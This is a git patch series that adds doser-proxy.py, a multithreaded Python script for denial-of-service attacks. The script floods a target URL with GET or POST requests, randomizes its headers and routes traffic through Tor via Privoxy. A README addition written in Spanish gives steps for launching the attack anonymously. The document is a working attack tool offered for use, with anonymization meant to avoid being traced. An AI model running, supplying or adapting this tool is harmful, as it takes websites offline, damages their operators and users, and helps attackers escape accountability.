From accd6876827c17dca2d76188f37bf0326deb6080 Mon Sep 17 00:00:00 2001 From: Roberto Focke Date: Mon, 2 Apr 2018 17:53:30 -0300 Subject: [PATCH 1/3] doser.py con proxy --- doser-proxy.py | 151 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 151 insertions(+) create mode 100644 doser-proxy.py diff --git a/doser-proxy.py b/doser-proxy.py new file mode 100644 index 0000000..3cd5d1f --- /dev/null +++ b/doser-proxy.py @@ -0,0 +1,151 @@ +import requests +import sys +import threading +import random +import re +import argparse + +host='' +headers_useragents=[] +request_counter=0 +printedMsgs = [] + +http_proxy = "http://127.0.0.1:8118" +https_proxy = "https://127.0.0.1:8118" + +proxyDict = { + "http" : http_proxy, + "https" : https_proxy +} + +def printMsg(msg): + if msg not in printedMsgs: + print "\n"+msg + " after %i requests" % request_counter + printedMsgs.append(msg) + +def useragent_list(): + global headers_useragents + headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') + headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') + headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') + headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') + headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') + headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') + headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') + headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') + headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') + headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') + headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') + headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') + return(headers_useragents) + +def randomString(size): + out_str = '' + for i in range(0, size): + a = random.randint(65, 90) + out_str += chr(a) + return(out_str) + +def initHeaders(): + useragent_list() + global headers_useragents, additionalHeaders + headers = { + 'User-Agent': random.choice(headers_useragents), + 'Cache-Control': 'no-cache', + 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', + 'Referer': 'http://www.google.com/?q=' + randomString(random.randint(5,10)), + 'Keep-Alive': str(random.randint(110,120)), + 'Connection': 'keep-alive' + } + + if additionalHeaders: + for header in additionalHeaders: + headers.update({header.split(":")[0]:header.split(":")[1]}) + return headers + +def handleStatusCodes(status_code): + global request_counter + sys.stdout.write("\r%i requests has been sent" % request_counter) + sys.stdout.flush() + if status_code == 429: + printMsg("You have been throttled") + if status_code == 500: + printedMsg("Status code 500 received") + +def sendGET(url): + global request_counter + headers = initHeaders() + try: + request_counter+=1 + request = requests.get(url, headers=headers,proxies=proxyDict) + # print 'her' + handleStatusCodes(request.status_code) + except: + pass + +def sendPOST(url, payload): + global request_counter + headers = initHeaders() + try: + request_counter+=1 + if payload: + request = requests.post(url, data=payload, headers=headers,proxies=proxyDict) + else: + request = requests.post(url, headers=headers,proxies=proxyDict) + handleStatusCodes(request.status_code) + except: + pass + +class SendGETThread(threading.Thread): + def run(self): + try: + while True: + global url + sendGET(url) + except: + pass + +class SendPOSTThread(threading.Thread): + def run(self): + try: + while True: + global url, payload + sendPOST(url, payload) + except: + pass + + +# TODO: +# check if the site stop responding and alert + +def main(argv): + parser = argparse.ArgumentParser(description='Sending unlimited amount of requests in order to perform DoS attacks. Written by Barak Tawily') + parser.add_argument('-g', help='Specify GET request. Usage: -g \'\'') + parser.add_argument('-p', help='Specify POST request. Usage: -p \'\'') + parser.add_argument('-d', help='Specify data payload for POST request', default=None) + parser.add_argument('-ah', help='Specify addtional header/s. Usage: -ah \'Content-type: application/json\' \'User-Agent: Doser\'', default=None, nargs='*') + parser.add_argument('-t', help='Specify number of threads to be used', default=500, type=int) + args = parser.parse_args() + + global url, payload, additionalHeaders + additionalHeaders = args.ah + payload = args.d + + if args.g: + url = args.g + for i in range(args.t): + t = SendGETThread() + t.start() + + if args.p: + url = args.p + for i in range(args.t): + t = SendPOSTThread() + t.start() + + if len(sys.argv)==1: + parser.print_help() + exit() + +if __name__ == "__main__": + main(sys.argv[1:]) From 74b954beccb5454662ac7daba1ef4fc986fa26f6 Mon Sep 17 00:00:00 2001 From: Roberto Focke Date: Mon, 2 Apr 2018 19:19:19 -0300 Subject: [PATCH 2/3] uso de doser-proxy.py --- README.md | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/README.md b/README.md index 02e30f5..3666be4 100644 --- a/README.md +++ b/README.md @@ -31,3 +31,25 @@ optional arguments: -ah Specify addtional header -t Specify number of threads to be used + + +Pasos para usar doser.py anonimamente +1-instalar tor + +apt-get install tor + +2-instalar privoxy + +apt-get install privoxy + +Editar el archivo /etc/privoxy/config + +descomentar las siguientes lineas: +listen-address 127.0.0.1:8118 +listen-address [::1]:8118 +forward-socks5t / 127.0.0.1:9050 . + +3-clonar el siguiente repositorio: +git clone https://github.com/robertofocke/doser.py + +4-lanzar el ataque con “python doser-proxy.py” From cd77db170380f6d72266da06cea9b593b5906e56 Mon Sep 17 00:00:00 2001 From: Roberto Focke Date: Mon, 2 Apr 2018 19:20:17 -0300 Subject: [PATCH 3/3] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 3666be4..ceaff6a 100644 --- a/README.md +++ b/README.md @@ -33,7 +33,7 @@ optional arguments: -t Specify number of threads to be used -Pasos para usar doser.py anonimamente +# Pasos para usar doser.py anonimamente 1-instalar tor apt-get install tor